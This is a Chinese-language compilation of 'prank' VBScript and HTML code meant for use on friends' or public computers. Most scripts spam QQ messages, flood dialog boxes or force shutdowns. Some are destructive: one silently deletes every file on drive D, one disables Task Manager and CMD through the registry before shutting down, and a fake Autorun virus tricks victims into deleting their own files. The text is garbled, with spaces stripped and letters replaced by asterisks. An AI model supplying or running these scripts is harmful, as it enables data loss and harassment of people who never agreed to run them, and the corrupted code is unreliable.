VBS腳本整人代碼

-.z一、你翻開好友的聊天對話框,然后記下在你QQ里好友的昵稱,把下面代碼里的**替換一下,就可以自定義發(fā)送QQ信息到好友的次數(shù)(代碼里的數(shù)字10改一下即可).**.vbs=>復(fù)制代碼代碼如下:OnErrorResumeNe*tDimwsh,yesetwsh=createobject("wscript.shell")fori=1to10wscript.sleep700wsh.AppActivate("與**聊天中")wsh.sendKeys"^v"wsh.sendKeysiwsh.sendKeys"%s"ne*twscript.quitQQ騷擾信息,也可以用在其它程序上。二、我就用這個程序放在學校圖書館查詢書刊的機器上，好多人都那它沒方法，哈哈------------------------------------------------------------------------------domsgbo*"Youarefoolish!"loop------------------------------------------------------------------------------三、翻開無數(shù)個計算器，直到死機------------------------------------------------------------------------------setwsh=createobject("wscript.shell")dowsh.run"calc"loop-----------------------------------------------------------------------------四、直接關(guān)機-----------------------------------------------------------------------------dimWSHshellsetWSHshell=wscript.createobject("wscript.shell")WSHshell.run"shutdown-f-s-t00",0,true-----------------------------------------------------------------------------五、刪除D:\所有文件---------------------------------------------------------------------------dimWSHshellsetWSHshell=wscript.createobject("wscript.shell")WSHshell.run"cmd/c"deld:\*.*/f/q/s"",0,true----------------------------------------------------------------------------六、不斷彈出窗口----------------------------------------------------------------------------復(fù)制代碼代碼如下:while(1)msgbo*"哈哈你被耍了！"loop----------------------------------------------------------------------------七、不斷按下alt+f4〔開什么都關(guān)閉……〕---------------------------------------------------------------------------復(fù)制代碼代碼如下:dimWSHshellsetWSHshell=wscript.createobject("wscript.shell")while(1)WSHshell.SendKeys"%{F4}"loop八、按500次回車(以上代碼在運行者的電腦上顯示500個對話框。其中dountils=500，500可以隨意更改)復(fù)制代碼代碼如下:dimsdountils=500s=s+1msgbo*"哥們，給我按500次回車吧",64loop'------------------------------------------------------------------------------------九、關(guān)不掉的窗口復(fù)制代碼代碼如下:WScript.Echo("嘿，謝謝你翻開我哦，我等你很久拉！"&TSName)WScript.Echo("你是得意的小朋嗎?")WScript.Echo("哈,我想你拉，這你都不知道嗎.")WScript.Echo("怎么才來，說~是不是不關(guān)心我")WScript.Echo("哼,我生氣拉，等你這么久，心都涼啦。")WScript.Echo("小強很生氣，后果很嚴重哦。")WScript.Echo("嘿嘿！你也會很慘滴哦")WScript.Echo("是不是想去除我.")WScript.Echo("那你要點上50下哦，不過會給你驚喜滴")WScript.Echo("還剩49下，快點點哦")WScript.Echo("還剩48下，快點，小笨蛋！")WScript.Echo("還剩47下對，就這樣快點點！")WScript.Echo("還剩46下。你啊就是笨，要快哦，我先不打攪你工作。")WScript.Echo("還剩45下，記得要快哦！")WScript.Echo("還剩43下")WScript.Echo("還剩42下")WScript.Echo("還剩41下")WScript.Echo("還剩40下")WScript.Echo("還剩39下")WScript.Echo("還剩38下")WScript.Echo("還剩37下")WScript.Echo("還剩36下")WScript.Echo("還剩35下")WScript.Echo("還剩34下")WScript.Echo("還剩33下")WScript.Echo("還剩32下")WScript.Echo("還剩30下")WScript.Echo("還剩29下")WScript.Echo("還剩28下")WScript.Echo("還剩27下")WScript.Echo("還剩26下")WScript.Echo("還剩25下")WScript.Echo("還剩24下")WScript.Echo("還剩23下")WScript.Echo("還剩22下")WScript.Echo("還剩21下")WScript.Echo("還剩20下")WScript.Echo("還剩19下")WScript.Echo("還剩18下")WScript.Echo("還剩17下")WScript.Echo("還剩16下")WScript.Echo("還剩15下")WScript.Echo("還剩14下")WScript.Echo("還剩13下停停?。。÷c，我有話要說")WScript.Echo("還剩12下，你繼續(xù)點我就會消失滴")WScript.Echo("還剩11下，以后就看不到我拉。555555")WScript.Echo("還剩10下，你現(xiàn)在可以選擇停頓！")WScript.Echo("還剩9下。你還點啊，不要我拉.")WScript.Echo("還剩8下，有點傷心拉，干嘛丟棄人家")WScript.Echo("還剩7下。瘋了，你有點負意！")WScript.Echo("還剩6下。對。你就點吧，我恨你！")WScript.Echo("還剩5下，不明白，刪除我你就好嗎.")WScript.Echo("還剩4下！真要刪除我.")WScript.Echo("還剩3下。可是我真的很眷戀你。。。")WScript.Echo("還剩2下。不要這么絕情嘛，人家是愛你的！")WScript.Echo("還剩1下。哼，既然你這么絕情。也別怪我無義?。。?)WScript.Echo("我本因該消失的，不過我留戀你滴芳容，上帝又給了一次時機。")WScript.Echo("想結(jié)素我么?那你就再多點一次")WScript.Echo("想結(jié)素我么?那你就再多點一次")WScript.Echo("想結(jié)素我么?那你就再多點一次")WScript.Echo("想結(jié)素我么?那你就再多點一次")WScript.Echo("想結(jié)素我么?那你就再多點一次")WScript.Echo("想結(jié)素我么?那你就再多點一次")WScript.Echo("想結(jié)素我么?那你就再多點一次")WScript.Echo("想結(jié)素我么?那你就再多點一次")WScript.Echo("想結(jié)素我么?那你就再多點一次")WScript.Echo("想結(jié)素我么?那你就再多點一次")兩個整人的VBS腳本2009-07-1618:16文章錄入：7747.Net責任編輯：7747.Net564【字體：小大】測試環(huán)境：Windows2003系統(tǒng)大家好我是VanlisaQQ137841986今天給大家?guī)韮蓚€整人的VBS腳本希望大家喜歡VBS腳本大家都知道吧第一個是定時關(guān)機的如果把他發(fā)給你的QQ好友他不懂的話如果不輸我是豬電腦就會在你設(shè)定的時間內(nèi)關(guān)機我設(shè)置的是3分鐘只要輸入就解除了當然如果不輸?shù)脑捯灿薪獬姆椒ㄎ覀儊砜聪逻@個腳本復(fù)制代碼代碼如下:onerrorresumene*tdimWSHshellAsetWSHshellA=wscript.createobject("wscript.shell")WSHshellA.run"cmd.e*e/cshutdown-r-t180-c"說我是豬，不說我是豬就一分鐘關(guān)機，不信，試下···"",0,truedimadowhile(a<>"我是豬")a=inputbo*("說我是豬,就不關(guān)機，快撒，說"我是豬"","說不說",",8000,7000)msgbo*chr(13)+chr(13)+chr(13)+a,0,"MsgBo*"loopmsgbo*chr(13)+chr(13)+chr(13)+"早說就行了嘛"dimWSHshellsetWSHshell=wscript.createobject("wscript.shell")WSHshell.run"cmd.e*e/cshutdown-a",0,truemsgbo*chr(13)+chr(13)+chr(13)+"哈哈哈哈，好乖"新建一個記事本把上面的代碼復(fù)制進去另存為VBE格式的就可以了cmd.e*e/cshutdown-r-t180-c這里的數(shù)字可以修改關(guān)機時間180秒這些文字也可以自設(shè)這個腳本啟用cmd里的關(guān)機程序如果不輸?shù)牡脑捒梢苑_任務(wù)管理器輸入shutdown-a來解除我們試下這時定時關(guān)機已經(jīng)沒了但是還有個關(guān)不掉的窗口我們翻開任務(wù)管理器完畢掉Wscript.e*e這個進程就OK了這時就完全解除這個腳本了Wscript時Windows腳本宿主-------------------------------------------------------------------------------------------下面看第二個整人的腳本-------------------------------------------------------------------------------------------復(fù)制代碼代碼如下:setws=createobject("wscript.shell")callshutdown(1)dowhilea<>"我是豬"a=inputbo*("快在下面的框框里輸入我是豬,否則后果自負，快輸"我是豬"","輸不輸",")loopcallshutdown(2)msgbo*"早說就行了嘛",4096+64msgbo*"再輸一遍我是豬!",4096+64msgbo*"我是豬!",4096+64MsgBo*"最后一次!",4096+64MsgBo*"如果你很快的點過去,不看的話",4096+64MsgBo*"我就要你踩我空間的!哼!",4096+64MsgBo*"從前有座山!",4096+64MsgBo*"山里有個廟.",4096+64MsgBo*"廟里有個老和尚在講故事.",4096+64ws.run"ie*plore.e*enew.qzone.qq./137841986/infocenter"msgbo*"哎呀累了！數(shù)綿羊哄我睡覺",4096+64fori=1to100MsgBo*i&"只綿羊",4096+64ne*tmsgbo*"哎呀我困了，這次就饒過你吧，下次注意哦!",4096+64msgbo*"最后問個問題，我是不是大好人！",4096+64ifinputbo*("是不是","請選擇","是")<>"是"thencallshutdown(1)endifsubshutdown(s)selectcasescase1ws.run"cmd.e*e/cshutdown-r-t60-c",0case2ws.run"cmd.e*e/cshutdown-a",0endselectendsub--------------------------------------------------------------------------------ws.run"ie*plore.e*enew.qzone.qq./137841986/infocenter"這段代碼可以改成你自己設(shè)定的地址如果別人不輸我是豬的話就會一直點下去點到你設(shè)定的數(shù)字fori=1to100從1到100可以改成20其他的數(shù)字解除這個VBS腳本的方法就簡單了只是關(guān)掉任務(wù)管理器里Wscript.e*e這個進程就好了BY：7747.net2009QQ整人代碼復(fù)制代碼代碼如下:sets=createobject("wscript.shell")setbag=getobject("winmgmts:\\.\root\cimv2")setpipe=bag.e*ecquery("select*fromwin32_processwherename='wscript.e*e'")ForEachidinpipeifinstr(1,id.mandLine,wscript.scriptfullname)<>0andpipe.count>=2thens.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"id.terminate()elses.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"fori=1to60s.popup"系統(tǒng)將在"&60-i&"秒后關(guān)機...",1,"系統(tǒng)提示",4096+48ne*tSetcolOS=GetObject("winmgmts:{(Shutdown)}").E*ecQuery("Select*FROMWin32_OperatingSystem")ForEacheOsIncolOSeOs.Win32Shutdown(2)Ne*tendifNe*t[color=*FF0000]復(fù)制以上代碼，在桌面建一個文本，把代碼放進去，另存為VBE格式，此代碼的威力：1：開機就強制自動關(guān)機2：cmd命令打不開3：完畢任務(wù)不管用4：F8平安模式也不管用呵呵！聽起來是不是有點恐懼啊，我在我朋友空間里看見也嚇了一跳、代碼破解方法：就是再運行一次，就可以破解了，也就是第2次保存的那個VBE文件，，PS：不要亂拿軟件去整人，發(fā)生什么事可不要怪我啊。。拍拍手頂起吧!2：復(fù)制代碼代碼如下:onerrorresumene*tdimWSHshellAsetWSHshellA=wscript.createobject("wscript.shell")WSHshellA.run"cmd.e*e/cshutdown-r-t60-c"說你是傻B，我是天下第一大傻B不說寶寶，我是天下第一大傻B就一分鐘關(guān)你機，不信，試試···"",0,truedimadowhile(a<>"寶寶，我是天下第一大傻B")a=inputbo*("寶寶，我是天下第一大傻B,就不關(guān)機，快撒，說"寶寶，我是天下第一大傻B"","說不說","不說",8000,7000)msgbo*chr(13)+chr(13)+chr(13)+a,0,"MsgBo*"loopmsgbo*chr(13)+chr(13)+chr(13)+"早說就行了嘛，乖乖"dimWSHshellsetWSHshell=wscript.createobject("wscript.shell")WSHshell.run"cmd.e*e/cshutdown-a",0,truemsgbo*chr(13)+chr(13)+chr(13)+"寶寶是不是又帥啦.."這代碼是我從朋友那拿來的，大家可以試著玩下、你能做非法事情哦、網(wǎng)頁整人效果代碼想看效果，只要復(fù)制這下面的所有代碼保存在te*t文件里，修改文件后綴為t*t就能看到效果了。復(fù)制代碼代碼如下:<html><head><meta-equiv="Content-Type"content="te*t/html;charset=gb2312"><title>網(wǎng)頁特效|Linkweb./Js|---很惡心的常見整人效果</title></head><body><ahref="onMouseover="alert('為什么把鼠標放到這里?');alert('我不是說過不可以這樣嗎.');alert('你把我的話當什么了.');alert('你知道錯了嗎.');alert('什么.你居然....');alert('居然還沒意識到自己做錯了.');alert('那好，你要為此付出代價!');alert('我要你在這里點足一千下......');alert('什么.你開場有點懊悔了.');alert('何必呢.');alert('你當初干什么去了.');alert('不原諒你！');alert('好從現(xiàn)在開場再點995下......');alert('你的手開場累了嗎?');alert('什么.你已經(jīng)沒力氣了.');alert('你一直在求我原諒你??！');alert('看來你是真的知道錯了!');alert('下次你還會這么做嗎.');alert('真的不會了.');alert('那好，今天就放你一馬！');alert('寫封信給我說聲對不起!');alert('你能這么做我很快樂!!!');document.bgColor='black';document.fgColor='White';window.location.href='mailto:mygodgod?subject=對不起,下次不敢了!';">不許把鼠標移到這里</a>嘻試吧爽噢。。</body></html>vbs整人代碼代碼如下：復(fù)制代碼代碼如下:PrivateSubForm_Load()Me.HideEndSubPrivateSubTimer1_Timer()'聲明變量，其中“count〞為靜態(tài)變量，以便生成不同的文件DimfilesAsStringDimnrAsStringDimcAsStringStaticcountAsLong'定義要把生成的文件存放在那個目錄文件下c="C:\ProgramFiles\"'生成文件的內(nèi)容nr="哈哈，被黑的感覺的不錯吧"files=FreeFile'如果a等于a則就執(zhí)行Ifa=aThen'count不斷的加1，以便產(chǎn)生不同的文件名count=count+1'產(chǎn)生文件名及文件句柄，并用count作為產(chǎn)生不同的文件名。Openc&"system"&count&".dll"ForAppendAs*files'向文件寫內(nèi)容Write*files,nr'去除文件句柄，這里很重要，如果不去除，將產(chǎn)生翻開文件太多的錯誤提示Close*filesEndIfEndSub詳細出處參考：.51.net/article/26385.htm翻開記事本輸入dima,ssetwshshell=createobject("wscript.shell")a=0dowshshell.run"notepad"a=a+1ifa>20thene*itdoendifloop然后保存為“**.vbs〞格式其中ifa>20then中20可隨意改只要翻開這個程序就會彈出你所給定數(shù)字個數(shù)個“記事本〞有人要VBS整人代碼，我就寫了一個，如果玩笑開得過火，千萬別罵我啊~簡單描述一下：文件夾同名病毒〔Autorun病毒〕大家都熟悉吧.效果就是那樣〔不過放心吧，絕不是真的病毒，騙人的〕，試想，如果有人中招，他會怎么辦.殺毒.沒用〔因為根本不是病毒〕，情急之下咋辦.胡亂刪一通，抱歉，他親手將自己親愛的文件刪了......廢話不多說了，代碼如下，大家知道該怎么用：''''''''''''''''''''代碼開場''''''''''''''''''''OnErrorResumeNe*tSetfso=CreateObject("Scripting.FileSystemObject")SetC*=fso.GetSpecialFolder(0)fso.GetFile(WScript.ScriptFullName).Delete(True)DoC=fso.GetParentFolderName(C*)SetFdrs=fso.GetFolder(C).SubFoldersForEachFdrInFdrsIfNotfso.GetE*tensionName(Fdr.Name)="e*e"Thenfso.CreateFolder(C&Fdr.Name&".e*e")Setfun=fso.GetFile(C&"WINDOWS\system32\tskill.e*e